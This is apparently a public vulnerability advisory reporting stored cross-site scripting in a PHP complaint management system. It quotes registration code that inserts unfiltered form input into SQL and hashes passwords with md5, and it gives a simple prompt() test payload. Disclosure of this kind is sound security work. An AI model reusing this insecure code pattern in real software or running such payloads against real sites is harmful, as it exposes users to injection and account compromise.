Exploit/Advisories

# Exploit Title: Complaint Management System 4.2 - Persistent Cross-Site Scripting
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.2
# Tested on: Xampp
# Credit: İsmail BOZKURT

------ Details:

1- Vulnerable code is here: http://localhost/cms/users/registration.php
2- Vulnerable code:

Insert user registration information to the DB without filtering.

if(isset($_POST['submit']))
{
$fullname=$_POST['fullname'];
$email=$_POST['email'];
$password=md5($_POST['password']);
$contactno=$_POST['contactno'];
$status=1;
$query=mysqli_query($con,"insert into
users(fullName,userEmail,password,contactNo,status)
values('$fullname','$email','$password','$contactno','$status')");
$msg="Registration successfull. Now You can login !";
}
?>

3- In the admin dashboard:

Get fullName from DB and print it without any filtering

< ?php echo $row['fullName'];?>'s profile

4- If we insert "fullName" as "script>prompt(2)", we can perform
this attack as "Stored XSS"

5- Picture in the Attachemnt
---------------------------------------------------

Comments are closed.